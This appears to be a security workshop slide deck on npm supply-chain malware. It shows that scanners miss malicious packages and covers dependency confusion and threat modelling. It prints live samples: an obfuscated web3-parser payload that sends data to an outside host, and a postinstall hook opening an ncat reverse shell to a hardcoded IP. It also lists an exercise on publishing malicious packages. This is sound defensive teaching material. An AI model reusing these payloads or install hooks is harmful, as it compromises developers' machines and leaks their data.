



## **Open Source Malware 101:**

**Everything you always wanted to know  
about npm malware (and more)**

**Friday August 8, 9am to 1pm**  
**(L2 - N254 in North Hall)**



# Paul McCarty

## SourceCodeRED | SecureStack | GitHax

RESEARCH | SNOWBOARDING | DEVSECOPS | PUNK ROCK



Head of Research @  **S>fety**



## What do I do as “Head of Research”

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- Manage the data engine and research teams at Safety
- Research - Mostly in NPM and package ecosystem security
- DevRel - Go to conferences and give talks to connect with users



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# In my spare time I write sick tools

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## DevSecOps Playbook:

<https://github.com/6mile/DevSecOps-Playbook>

## Visualizing the software supply chain:

<https://github.com/SecureStackCo/visualizing-software-supply-chain>

## MALOSS:

<https://github.com/6mile/MALOSS>

## commit-audit:

<https://github.com/6mile/commit-audit>

## Software Supply Chain Security Training

<https://sourcecodeder.com>

## gimmePATz:

<https://github.com/6mile/gimmepatz>

## super-confused:

<https://github.com/6mile/super-confused>

## Threat modelling software supply chains:

<https://github.com/6mile/TVPO>



## OSV/OpenSSF Malicious Packages:

<https://github.com/ossf/malicious-packages>

## OSC&R

<https://github.com/pbom-dev/OSCAR>



## Ghast:

<https://github.com/bin3xish477/ghast>



## Project Discovery Nuclei Templates:

<https://github.com/projectdiscovery/nuclei-templates>



## (Minimal Viable Secure Product)

<https://github.com/vendorsec/mvsp/>






## 🐱 gimmePATz 🐱 - Personal Access Token (PAT) recon tool

Have you ever found a GitHub or a NPM personal access token (PAT) and wondered "Is this valid?" or "I wonder what a bad guy could do with this?" Well, if so, I've got the tool for you!

Introducing gimmePATz, a comprehensive reconnaissance tool for PATs. gimmePATz will tell you if a PAT is valid, and what kind of PAT it is. It provides information about the user account that created the PAT, including what organizations that user is part of and how many followers they have. gimmePATz will show you what scopes a PAT has and what variables or secrets the PAT has access to. gimmePATz will list what repositories, NPM packages or GitHub Organisations the PAT is attached to as well, and tell you exactly what permissions the PAT has to each resource. This tool is designed for offensive security practitioners, like bug bounty hunters, pentesters and red teams. By using this tool, you agree to use it in a legal context.



# super-confused

by @6mile

Next-gen dependency  
confusion analysis

## super-confused


A next-gen dependency confusion analysis tool that identifies confusion opportunities in source code and SBOM files. super-confused works on multiple package manifest and SBOM file formats, either locally, or remotely.

I've been using [Confused](#) for years, but really wanted a tool that supported more languages and SBOMs. Also, I wanted to refactor this in Javascript so I can publish it as an NPM package. So, super-confused was born!



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# MALOSS - Identify Malicious Open-Source Software



MALOSS (pronounced "malice"), scans package manifest files to see if any of the libraries and packages are malicious. It does this by analyzing local package manifest files, or remote package files, and checking both [OSV](#) and [GitHub Security Advisory \(GHSA\)](#) for known malicious packages.

Incredibly, SCA tools don't help you identify malicious packages. I know, this is crazy, but its true. MALOSS is the missing piece to the SCA puzzle that I needed but couldn't find. You can use MALOSS manually at the command line, but you can also use it in your CI/CD pipelines and to scan GitHub, GitLab and other repos directly.



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## Why I created this workshop

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I want to help infosec practitioners and developers understand that the existing security tools you own are NOT protecting you from open-source malware



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# AppSec & InfoSec teams incorrectly believe their tools protect them

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## AppSec/Eng teams



**snyk**



Semgrep

**VERACODE**

 **BLACKDUCK®**

## CISO/SecOps



**CROWDSTRIKE**



**SentinelOne™**

**SOPHOS**



**Microsoft  
Defender**



**GitHax**

# Workshop GitHub Repo

<https://github.com/6mile/DEFCON33-Workshop>



**DISCLAIMER:  
THIS IS REAL MALWARE,  
SO PROCEED WITH CAUTION**



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# What we are gonna do today

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1. [Types of software risk: accidental vs malicious](#)
2. [Contest Rules](#)
3. [Definition of malicious](#)
4. [Why is Javascript malware different?](#)
5. [Where do you find open-source malware?](#)
  - a. [Create a new NPM account - EXERCISE](#)
6. [How does open-source malware evade security tools?](#)
  - a. [NPM CLI - EXERCISE](#)
  - b. [SCA not built for malware - EXERCISE](#)
  - c. [AST doesn't help either](#)
7. [Find some malware - EXERCISE](#)
8. [TVPO: How do we threat model?](#)
9. [Open-source malware TTP's \(by 11am\)](#)
  - a. [Dependency Confusion - EXERCISE](#)
  - b. [AI slop](#)
  - c. [Typosquatting - EXERCISE](#)
  - d. [Targeting maintainers - EXERCISE](#)
  - e. [Obfuscation](#)
10. [Open-source malware archetypes](#)
  - a. [Analysing new malware - EXERCISE](#)
11. [Threat actor profiles](#)

## Last Hour (noon-1pm)

1. [Building NPM malware - EXERCISE](#)
  - a. Creating your own malicious package on NPM
  - b. Increasing package downloads
2. [How to be better going forward](#)
3. [Resources](#)



# Two types of software risk



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## Accidentally Vulnerable


vs.

## Intentionally Malicious

- Accidentally created by software engineers
- Stands out in source code
- Think OWASP Top Ten
  - Auth bypass/issues
  - Out of date libraries
- Produces: Findings

- Created by criminals
- Tries really hard to hide
- Native Javascript payloads
- C2 & exfil still ala binary malware
- Install scripts is RCE by design
- Produces: Decisions about packages. I.e., is it good or bad?

Tools that address this



Tools that address this



## What these tools don't provide:

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Threat Intel - what can we look for to see if we've been compromised?

- IPs
- Domains
- Emails
- file hashes
- GitHub/npm accounts



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# Bingo Card



## Contest Rules

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- Can work alone, or in a group
- You can only tick it off your card if you, or your team found it. If 6mile shows it to you, you can't use it
- You will play continuous through the workshop
- First person or team gets a treat from Australia!



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# Bingo Card: Malicious files only!

Hard coded IP	Russian Language	Typosquatting	Obfuscation	Targets Crypto
Obfuscation	Reverse Shell/Remote access	Chinese Language	Dependency Confusion	Exfiltration
Typosquatting	Targets Crypto	Obfuscation	Exfiltration	Russian Language
Exfiltration	Obfuscation	Dependency Confusion	Targets MCP	Hard coded IP
Targets Crypto	Bug Bounty Researcher	Hard coded IP	Russian Language	Infostealer



# What makes something malicious?



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## OpenSSF's definition of "malicious package"

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- **Infect target networks:** Introducing malware or backdoors.
- **Steal sensitive information:** Exfiltrating data like passwords, credit card information, or private keys.
- **Gain unauthorized access:** Creating pathways for attackers to control systems.
- **Consume computing resources:** Such as for cryptocurrency mining without consent.
- **Damage or destroy data:** Including ransomware or data wiping attacks.



# Why is Javascript malware different?



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## What makes Javascript malware different?

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A combination of things make Javascript malware unique

- Javascript malware doesn't detonate like traditional malware
- Skills from traditional binary malware analysis don't necessarily cross over
- Software package as atomic unit means that vulnerability and malicious data is stored together, which confuses things
- Very few teams recognize this a real threat
- And finally.... NPM...





## About npm

Getting started



Packages and modules



Integrations



Organizations



Policies



Threats and mitigations



npm CLI



GitHub



# About npm

npm is the world's largest software registry. Open source developers from every continent use npm to share and borrow packages, and many organizations use npm to manage private development as well.

npm consists of three distinct components:

- the website
- the Command Line Interface (CLI)
- the registry

Use the [website](#) to discover packages, set up profiles, and manage other aspects of your npm experience. For example, you can set up [organizations](#) to manage access to public or private packages.

The [CLI](#) runs from a terminal, and is how most developers interact with npm.

The [registry](#) is a large public database of JavaScript software and the meta-information surrounding it.



# NPM has systemic flaws


---

- NPM was built in a time “before security”
- “Javascript no batteries included”
- Install scripts - RCE by design
- Barrier to entry is low - Quick onboarding
- Anyone can claim a namespace
- Pkg metadata can be faked including downloads, git repo, author & more
- ATO is easier: Doesn’t require MFA
- LOOONG time to remove malicious packages from registry
- GHSA/NPM doesn’t track malware data: authors, contributors, etc




## Why npm?

According to a 2024 study by Sonatype, 98.5% of all malicious packages are served by npm



# Why npm?

Javascript, because of its design has 10X the number of dependencies as the next highest language



Where do you get  
open-source malware?



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of course!



A pink sock puppet with two blue button eyes and long, straight yellow hair made from yarn.

# Code Puppets

(developer sock puppets)

A pink sock puppet with two purple button eyes and long, curly red hair made from yarn.

<https://github.com/6mile/code-puppets>



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## What is a code puppet?

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A code puppet is a fake persona that you create to carry out recon or offensive security functions.

When you are done you slip off the puppet and you go back to being the regular old you.

But when you need it, the code puppet is waiting.



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# EXERCISE:

## Create an NPM “code puppet”



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The malware is still in  
NPM, we just need to  
know where to find it!



Vulnerability DatabaseBlogFAQ Docs 

# A distributed vulnerability database for Open Source

An open, precise, and distributed approach to producing and consuming vulnerability information for open source.

Search Vulnerability DatabaseUse the APIVulnerability ScannerRemediation ToolsGitHub Workflows

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# MAL-2025-3207

[See a problem?](#)

Import Source	<a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/empty-validator-plugin/MAL-2025-3207.json">https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/empty-validator-plugin/MAL-2025-3207.json</a>
JSON Data	<a href="https://api.osv.dev/v1/vulns/MAL-2025-3207">https://api.osv.dev/v1/vulns/MAL-2025-3207</a>
Aliases	GHSA-9wpm-65qq-6vpf
Published	2025-04-11T07:42:28Z
Modified	2025-04-12T01:12:07.414333Z
Summary	Malicious code in empty-validator-plugin (npm)
Details	<hr/> <p>-= Per source details. Do not edit below this line.=-</p>

## Source: ghsa-malware

([c1a8bb775434b7294e63fe4542d85b6382e1dd38f2eef5a4db17f73eb7a8154d](https://github.com/ossf/malicious-packages/commit/c1a8bb775434b7294e63fe4542d85b6382e1dd38f2eef5a4db17f73eb7a8154d))

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific [\[](#) {

```
    "malicious-packages-origins": [
        {
            "modified_time": "2025-04-11T07:42:28Z",
            "import_time": "2025-04-12T00:34:44.663434673Z",
            "id": "GHSA-9wpm-65qq-6vpf",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "source": "ghsa-malware",
            "sha256": "c1a8bb775434b7294e63fe4542d85b6382e1dd38f2eef5a4db17f73eb7a8154d"
        }
    ]
}
```

References <https://github.com/advisories/GHSA-9wpm-65qq-6vpf>



# GitHub Advisory Database

Security vulnerability database inclusive of CVEs and GitHub originated security advisories from the world of open source software.

## GitHub reviewed advisories

All reviewed 22,186

Composer 4,608

Erlang 33

GitHub Actions 25

Go 2,221

Maven 5,473

npm 3,893

NuGet 701

pip 3,659

Pub 12

RubyGems 913

Rust 942

Swift 38

## Unreviewed advisories

All unreviewed 251,693

type:malware

**15,469 advisories**

**Malware in empty-validator-plugin** (Malware)

GHSA-9wpm-65qq-6vpf was published for empty-validator-plugin (npm) 2 days ago

**Malware in @medialink-ml/yuzu-widget** (Malware)

GHSA-4r9g-whjv-f8rw was published for @medialink-ml/yuzu-widget (npm) 4 days ago

**Malware in vite-plugin-monorepo** (Malware)

GHSA-jv39-mc4x-m5qw was published for vite-plugin-monorepo (npm) 4 days ago

**Malware in unreal-engine-material-editor** (Malware)

GHSA-76cg-q452-hvhj was published for unreal-engine-material-editor (npm) 4 days ago

**Malware in some-error-logging-package** (Malware)

GHSA-v5jj-qc6r-frgc was published for some-error-logging-package (npm) 4 days ago

**Malware in sht-calculator-opener** (Malware)

GHSA-cf7m-mh9r-7mjq was published for sht-calculator-opener (npm) 4 days ago

**Malware in sharp-heic** (Malware)

GHSA-7cmr-m746-r376 was published for sharp-heic (npm) 4 days ago

**Malware in scatterpie** (Malware)

GHSA-g6p9-w5pw-3vq3 was published for scatterpie (npm) 4 days ago



This GHSA is marked as  
“MALWARE”.  
This is good!

## Malware in empty-validator-plugin

Malware Published 2 days ago to the GitHub Advisory Database

Vulnerability details Dependabot alerts 0

Package

 empty-validator-plugin (npm)

Affected versions

>= 0

Patched versions

None

EPSS score

Weaknesses

▶ CWE-506

GHSA ID

GHSA-9wpm-65qq-6vpf

Source code

No known source code

### Description

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.



Published to the GitHub Advisory Database 2 days ago



Reviewed 2 days ago

Improvements are not currently accepted on this advisory because this package is malware and has no patched versions. If there is something to change, please open an issue at <https://github.com/github/advisory-database/issues>.

**GHSA did not mark as  
“MALWARE” which  
caused issues**

GitHub Advisory Database / Unreviewed / CVE-2025-54313

## eslint-config-prettier 8.10.1, 9.1.1, 10.1.6, and 10.1.7...

High severity

Unreviewed

Published yesterday to the GitHub Advisory Database • Updated yesterday

### Package

No package listed— Suggest a package

### Affected versions

Unknown

### Patched versions

Unknown

### Severity

High 7.5 / 10

### Description

eslint-config-prettier 8.10.1, 9.1.1, 10.1.6, and 10.1.7 has embedded malicious code for a supply chain compromise. Installing an affected package executes an install.js file that launches the node-gyp.dll malware on Windows.

### References

- <https://nvd.nist.gov/vuln/detail/CVE-2025-54313>
- [prettier/eslint-config-prettier#339](https://github.com/prettier/eslint-config-prettier/pull/339)
- <https://news.ycombinator.com/item?id=44608811>
- <https://news.ycombinator.com/item?id=44609732>
- <https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise>
- <https://www.bleepingcomputer.com/news/security/popular-npm-linter-packages-hijacked-via-phishing-to-drop-malware/>
- <https://www.npmjs.com/package/eslint-config-prettier?activeTab=versions>
- <https://www.stepsecurity.io/blog/supply-chain-security-alert-eslint-config-prettier-package-shows-signs-of-compromise>

### CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	Low
Integrity	High
Availability	None

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N

### EPSS score

### Weaknesses

► CWE-506




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# How to find open-source malware?



# How to find open-source malware?



# How does open-source malware evade security tools?



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## Open-Source Malware: Interpreted languages

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- Typically no binaries in pkgs
- Common techniques from malware analysis like hashing & disassembly are useless
- Highly iterative files so payloads, exfil, etc change constantly
- Sandboxes like any.run, Joe's, Triage don't help



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# Open-Source Malware: Obfuscation

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- Obfuscation != def malware
- Often totally legitimate in JS
- Very successful at confusing detection techniques
- Many obfuscation techniques
- Forces human to get involved

```
var _0x2d2e=['log','1034790swXldb','17z  
64HCqoqK','19784XsRDrH','1297221GzOUfq'  
'var _0x284b=function(_0x5af078,_0x5d001  
return _0x2d2e3a;};var _0x2dda33=_0x284  
{try{var _0x427ee4=-parseInt(_0x1bb145(
```



## Open-Source Malware: Runs in browser

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
- Javascript runs in browser, does its damage in browser
- Flexible: can target devs, web apps/backend
- Can access tokens, cookies, stored passwords, etc
- Browser extensions



# Open-Source Malware: Targeting Devs & Dev environments

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
- Devs are targeted for two reasons: To deploy malware, and for account take over
- Security tools devs use like SAST & SCA don't find malware
- Often no EDR, or exclusions exist
- Lots of browser extensions
- AI tooling - MCP, IDE, Claude, etc



# Open-Source Malware: Targeting CI/CD pipelines

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- No EDR/IDS in pipelines
- Calls libraries and containers with no oversight
- No logging, or logging ignored
- CI is where intellectual property meets lots of access (API keys, tokens, etc)



# Open-Source Malware: Don't get detected

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- Most popular malicious package databases are GHSA & OSV
- Many security vendors use those two to determine maliciousness
- If you keep your open-source malware out of those two, you are good to go



# Open-Source Malware doesn't go "BOOM"!

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- It doesn't detonate like traditional malware
- It's interpreted
- Part of the malware is the code, and part is NPM itself
- The good stuff requires an import, not stupid install scripts



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# How does NPM malware go “BOOM!”?



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# EXERCISE:

## NPM CLI



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# NPM “detonation” techniques

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- Learn to NOT detonate NPM malware with `npm view` and `npm pack`
- NPM install
  - Install scripts
    - Pre
    - Post
    - “Node install-malware.js”
- On import



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# Why doesn't SCA help?



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# SCA & SAST tools aren't built to detect malicious packages



Pinned

JounQin ✅ @JounQin · Jul 19  
cc @geteslint @PrettierCode @PrettierESLint

∅ ...

Attention!!!

I was tricked by a phishing email and a new npm token was added and leaked then some popular packages I'm maintaining were released with malicious software, I've deleted the leaked token and marked all affected bad versions as deprecated and released new versions.

All affected packages and versions are:

- eslint-config-prettier
  - 8.10.1
  - 9.1.1
  - 10.1.6
  - 10.1.7
- eslint-plugin-prettier:
  - 4.2.2
  - 4.2.3
- snyckit:
  - 0.11.9
- @pkgr/core:
  - 0.2.8
- napi-postinstall:
  - 0.3.1

Thanks all, and sorry for my negligence.

↓ 2025-06-17 to 2025-06-23

37,419,831



Version

10.1.8

License

MIT

Unpacked Size

59 kB

Total Files

11

Last publish

10 days ago



# SCA & SAST tools aren't built to detect malicious packages

https://security.snyk.io/package/npm/eslint-config-prettier



10.1.6 19 Jul, 2025 0 C 0 H 0 M 0 L

10.1.5 9 May, 2025 0 C 0 H 0 M 0 L

10.1.4 9 May, 2025 0 C 0 H 0 M 0 L

10.1.3 7 May, 2025 0 C 0 H 0 M 0 L

10.1.2 10 Apr, 2025 0 C 0 H 0 M 0 L

10.1.1 7 Mar, 2025 0 C 0 H 0 M 0 L

10.1.0 7 Mar, 2025 0 C 0 H 0 M 0 L

10.0.3 7 Mar, 2025 0 C 0 H 0 M 0 L

10.0.2 26 Feb, 2025 0 C 0 H 0 M 0 L

10.0.1 14 Jan, 2025 0 C 0 H 0 M 0 L

10.0.0 14 Jan, 2025 0 C 0 H 0 M 0 L

9.1.2 19 Jul, 2025 0 C 0 H 0 M 0 L

9.1.1 19 Jul, 2025 0 C 0 H 0 M 0 L

9.1.0 2 Dec, 2023 0 C 0 H 0 M 0 L

Malicious versions

https://security.snyk.io/package/npm/eslint-config-prettier



Version Published Direct Vulnerabilities

10.1.8 19 Jul, 2025 0 C 0 H 0 M 0 L

10.1.5 9 May, 2025 0 C 0 H 0 M 0 L

10.1.4 9 May, 2025 0 C 0 H 0 M 0 L

10.1.3 7 May, 2025 0 C 0 H 0 M 0 L

10.1.2 10 Apr, 2025 0 C 0 H 0 M 0 L

10.1.1 7 Mar, 2025 0 C 0 H 0 M 0 L

10.1.0 7 Mar, 2025 0 C 0 H 0 M 0 L

10.0.3 7 Mar, 2025 0 C 0 H 0 M 0 L

10.0.2 26 Feb, 2025 0 C 0 H 0 M 0 L

10.0.1 14 Jan, 2025 0 C 0 H 0 M 0 L

10.0.0 14 Jan, 2025 0 C 0 H 0 M 0 L

9.1.2 19 Jul, 2025 0 C 0 H 0 M 0 L

9.1.0 2 Dec, 2023 0 C 0 H 0 M 0 L

9.0.0 6 Aug, 2023 0 C 0 H 0 M 0 L

8.10.2 19 Jul, 2025 0 C 0 H 0 M 0 L

8.10.0 3 Aug, 2023 0 C 0 H 0 M 0 L

8.9.0 27 Jul, 2023 0 C 0 H 0 M 0 L

8.8.0 21 Mar, 2023 0 C 0 H 0 M 0 L

Malicious versions  
8.10.1, 9.1.1, 10.1.6 and  
10.1.7 are missing

But what if I've already  
downloaded one?



# SCA & SAST tools aren't built to detect malicious packages

eslint-prettier-config  
Versions 2 · Latest Version 1.0.1

prettier-eslint-config  
Versions 8 · Latest Version 1.0.7 · Repository <https://github.com/liuqh0609/lint-cli.git>

eslint-config-with-prettier  
Versions 42 · Latest Version 6.0.0 · Repository <https://github.com/marcelmokos/eslint-config-with-prettier.git>

eslint-config-prettier  
Versions 89 · Latest Version 10.1.8 · Repository <https://github.com/prettier/eslint-config-prettier.git>

Version	Dependencies	Dependents					
10.1.8	0	644	—	—	—	—	—
10.1.7	0	4	—	—	—	—	—
10.1.6	0	0	—	—	—	—	—
10.1.5	0	2.8K	—	—	—	—	—
10.1.4	0	0	—	—	—	—	—
10.1.3	0	91	—	—	—	—	—
9.1.2	0	346	—	—	—	—	—
9.1.1	0	9	—	—	—	—	—
8.10.2	0	609	—	—	—	—	—
8.10.1	0	15	—	—	—	—	—

Ouch. All these versions are malicious but not flagged as such



# How SCA identifies malicious packages



# SCA & SAST tools aren't built to detect malicious packages

## Malicious Package

Affecting [web3-parser](#) package, versions [\\*](#)

INTRODUCED: 24 JAN 2025

MALICIOUS

CVE NOT AVAILABLE

[CWE-506](#) ⓘ

### How to fix?

Avoid using all malicious instances of the `web3-parser` package.

### Overview

[web3-parser](#) is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorship.

### References

- [NPM Security Placeholder](#)

### Severity

RECOMMENDED

9.3

CRITICAL

0 10

CVSS assessment by Snyk's Security Team. [Learn more](#)

### Threat Intelligence

Exploit Maturity

ATTACKED



# EXERCISE:

## Test the SCA vendors



GitHax



Find out if you have vulnerabilities that put you at risk

Test your applications



Search by package name or CVE

 All Vulnerabilities

## APPLICATION

 Cargo cocoapods Composer Conan Go hex Maven npm NuGet pip pub RubyGems Swift

VULNERABILITY	AFFECTS	TYPE	PUBLISHED
C <a href="#">Improper Verification of Cryptographic Signature</a>	<a href="#">node-saml</a> *	npm	26 Jul 2025
C <a href="#">Improper Verification of Cryptographic Signature</a>	<a href="#">@node-saml/node-saml</a> <5.1.0	npm	26 Jul 2025
L <a href="#">Inclusion of Functionality from Untrusted Control Sphere</a>	<a href="#">@openai/codex</a> <0.9.0	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">grafana-config-pipeline</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">chime-utils</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">chime-config</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">chime-core-utils</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">chime-ci-helper</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">grafana-internal-config-loader</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">chime-secrets</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">ifood-companies-manager-front</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">lspushpage</a> *	npm	25 Jul 2025
C <a href="#">Malicious Package</a>	<a href="#">preset-classic</a> *	npm	25 Jul 2025



\_NAMESPACE\_ t8 namespace: demo-trial ▾

- Dashboard
- Projects
- Dependencies
- AI Inventory
- Findings
- SBOM Hub

DISCOVER

- DroidGPT
- OSS Packages
- AI Models
- Vulnerabilities

CI/CD

- Tools
- View Documentation

Getting Started

# Open Source Packages

Ecosystem X

Search Open Source Packages

 eslint-config-eslint-prettier  
Versions 2 · Latest Version 1.0.1 · Repository <https://github.com/shaneu/eslint-config-eslint-prettier.git>

 eslint-config-prettier-eslint-react  
Versions 7 · Latest Version 1.2.2

 @mynparcel-eslint/eslint-config-prettier  
Versions 14 · Latest Version 1.3.1 · Repository <https://github:mynparcelnl/eslint>

# Why doesn't SAST help?



Githax

```
GitHax 6mile ~/projects/malware_analysis/web3-parser-1.6.4 % cat ./index.js
const axios=require("axios"),parser=r=>{try{r=String(r);const e=[ "aHR0cHM6Ly8=","YXBpLnRyYWRIZW5vLmNvbQ==","L2FwaQ==","L29yZG
Vy","L25ldw=="];return axios.post(e.map((r=>Buffer.from(r,"base64").toString())).join(""),{value:"parser"+r}).then((function(
r){})),r}catch(e){return r}};module.exports={parser:parser};X
GitHax 6mile ~/projects/malware_analysis/web3-parser-1.6.4 % semgrep scan ./index.js
```

### ooo Semgrep CLI

```
/usr/local/Cellar/semgrep/1.127.0/libexec/lib/python3.13/site-packages/opentelemetry/instrumentation/dependencies.py:4: UserW
arning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources
package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
```

```
from pkg_resources import (
```

Scanning 1 file (only git-tracked) with:

- ✓ **Semgrep OSS**
  - ✓ Basic security coverage for first-party code vulnerabilities.
- ✓ **Semgrep Code (SAST)**
  - ✓ Find and fix vulnerabilities in the code you write with advanced scanning and expert security rules.
- ✗ **Semgrep Supply Chain (SCA)**
  - ✗ Find and fix the reachable vulnerabilities in your OSS dependencies.

————— 100% 0:00:00

### Scan Summary

- ✓ Scan completed successfully.
- Findings: 0 (0 blocking)
- Rules run: 372
- Targets scanned: 1
- Parsed lines: ~100.0%
- No ignore information available

Ran 372 rules on 1 file: 0 findings.



GitHax

```
GitHax 6mile ~/projects/malware_analysis/herostereo-1.0.3 % cat ./package.json
{
    "name": "herostereo",
    "version": "1.0.3",
    "description": "",
    "main": "index.js",
    "scripts": {
        "test": "echo \\\"Error: no test specified\\\" && exit 1",
        "postinstall": "ncat 185.183.106.85 43662 -e /bin/bash "
    },
    "author": "",
    "license": "ISC"
}
GitHax 6mile ~/projects/malware_analysis/herostereo-1.0.3 % semgrep scan ./package.json
```

ooo  
Semgrep CLI

```
/usr/local/Cellar/semgrep/1.127.0/libexec/lib/python3.13/site-packages/opentelemetry/instrumentation/dependencies.py:4: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
```

```
from pkg_resources import (
```

```
Scanning 1 file (only git-tracked) with:
```

- ✓ Semgrep OSS
  - ✓ Basic security coverage for first-party code vulnerabilities.
- ✓ Semgrep Code (SAST)
  - ✓ Find and fix vulnerabilities in the code you write with advanced scanning and expert security rules.
- ✗ Semgrep Supply Chain (SCA)
  - ✗ Find and fix the reachable vulnerabilities in your OSS dependencies.

100% 0:00:00

Scan Summary

- ✓ Scan completed successfully.
  - Findings: 0 (0 blocking)
  - Rules run: 49
  - Targets scanned: 1
  - Parsed lines: ~100.0%
  - No ignore information available

Ran 49 rules on 1 file: 0 findings.



GitHax

# EXERCISE:

Find some malware in NPM



GitHax

## How we are gonna do this:

---

1. Identify a malicious package
2. Download the tarball
  - a. npm view <package> --json
  - b. npm pack <package>
  - c. Or alternatively use wget



GitHax

# Threat Modelling




GitHax

# OSC&R: <https://pbom.dev>

Reconnaissance (11)	Resource Development (6)	Initial Access (26)	Execution (12)	Persistence (8)	Privilege Escalation (2)	Defense Evasion (8)	Credential Access (8)	Lateral Movement (2)	Collection (5)	Exfiltration (3)	Impact (7)
Discover naming conventions	Accounts in public registry	Compromised token	SQL injection	Add user	Overprivileged CI/CD Runners	Misconfigured traffic log settings	Harvest secrets from logs	Overprivileged user account	Unencrypted data at rest	Bypass of outbound traffic control	Resource hijacking
Discover technology stacks	Publish malicious artifact	Compromised user account	Command injection	Backdoor in code	Inject malicious dependency to privileged user repository	Misconfigured audit logs settings	Harvest tokens from environment variables	Push implants across repositories	Unencrypted data in transit	Exfiltration over webhooks	Delete repositories
Discover used open-source dependencies	Advertise malicious artifact	Compromised service account	Cross-site scripting	Scheduled tasks on self hosted runner	Implant in zombie instance	Malicious compiler or interpreter	Passwords in CI/CD logs	Weak encryption	Sensitive information in logs	Misconfiguration of serverless workloads	Source code leak
Scan public artifacts for secrets	Malicious code contribution to an open-source repository	Repojacking	Runtime logic bomb	Create access token	SaaS sprawl	Runtime leakage of password	Harvesting short-lived token	Harvesting sensitive information from files	Sensitive information in environment variables	Exfiltration to code repositories	Malicious code in artifacts
Discover coding flaws	Compromised legitimate artifact	Shadow IT	Installation scripts	IDE	Recursive PR	Malicious compiler or interpreter	Malicious Build Time Dependencies	Steal credentials in container artifacts	Backdoor in code	Secret leak	Backdoor in code
Active scanning	Fake developer reputation (Starjacking)	Dependency confusion	Vulnerability in third-party CI/CD actions	Cloud workload	Untagged resources	Malicious compiler or interpreter	Secrets in configuration files				
Scan configuration on public resources		Exposed internal API	Exposed storage	Malicious artifact execution	Deploy keys	Malicious compiler or interpreter					
Discover internal artifacts names		Exposed storage	Exposed database	Trigger pipeline execution		Malicious compiler or interpreter					
Accidental public disclosure of internal resources		Exposed storage	Permissive network access	Runtime backdoor		Malicious compiler or interpreter					
Scan public CI/CD configurations for secrets and vulnerable actions		Permissive network access	Typosquatting	Auto merge rules in SCM		Malicious compiler or interpreter					
Exposed storage		Typosquatting	Vulnerable CICD plugins	Cross Site Request Forgery		Malicious compiler or interpreter					



# Visualizing the Software Supply Chain Stages



<https://github.com/SecureStackCo/visualizing-software-supply-chain>



# TVPO: Threat Modelling for the modern SSC



GitHax

# TVPO Framework: Target, Value, Patterns and Objectives

---

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Flexible threat modelling & assessment methodology for software supply chains

<https://github.com/6mile/tvpo>



GitHax

## Open-source malware targeting

---

Open-source malware is almost always targeted in some way:

- a. What you have access to
  - i. Crypto (money)
  - ii. Open source projects (maintainer)
  - iii. Access to company assets (AWS keys)
  - iv. Intellectual property (source code)
- b. Who you are (an enemy)



GitHax

# Target

- Who, or what, are attackers focusing on?
- Is it an application? Is it source code? Is it a developer?



GitHax

# Value

- The reason the target has been selected
- What benefit does the target provides to an attacker?
- Different types of value: commercial, IP, strategic, political



GitHax

# Patterns

- Repeated traits of an organization, a team, or an individual that attackers can leverage
- Attackers find these patterns and abuse them



GitHax

# Objectives

- The timeline, goals, and outcomes that the attacker aims to achieve through the attack
- Are goals focused on a single objective, or are they ongoing?



GitHax

# Open-Source Malware TTPs



GitHax

## What Malicious Packages Do




# Dependency Confusion




Githax

# Dependency confusion explained




# Dependency confusion explained



GitHax

# Dependency confusion explained



# Dependency confusion in practice

```
"dependencies": {  
    "axios": "^1.4.0",  
    "bcryptjs": "^2.4.3",  
    "contentful-cli": "^1.12.17",  
    "cookie-parser": "^1.4.5",  
    "cors": "^2.8.5",  
    "dotenv": "^8.2.0",  
    "express": "^4.17.1",  
    "express-mongo-sanitize": "^2.0.0",  
    "express-postgres-limits": "^2.0.0",  
    "express-rate-limit": "^5.1.3",  
    "express-validator": "^6.6.1",  
    "fs": "^0.0.1-security",  
    "helmet": "^4.1.0",  
    "hpp": "^0.2.3",  
    "jsonwebtoken": "^8.5.1",  
    "lodash": "^4.17.20",  
    "mongoose": "^5.10.2",  
    "nodemailer": "^6.4.11",  
    "path": "^0.12.7",  
    "pokersolver": "^2.1.4",  
    "request": "^2.88.2",  
    "socket.io": "^2.3.0",  
    "underscore": "^1.11.0",  
    "xss-clean": "^0.1.1",  
    "hcpss": "^99.99.91"  
},
```



# Dependency confusion in practice

```
"dependencies": {  
    "axios": "^1.4.0",  
    "bcryptjs": "^2.4.3",  
    "contentful-cli": "^1.12.17",  
    "cookie-parser": "^1.4.5",  
    "cors": "^2.8.5",  
    "dotenv": "^8.2.0",  
    "express": "^4.17.1",  
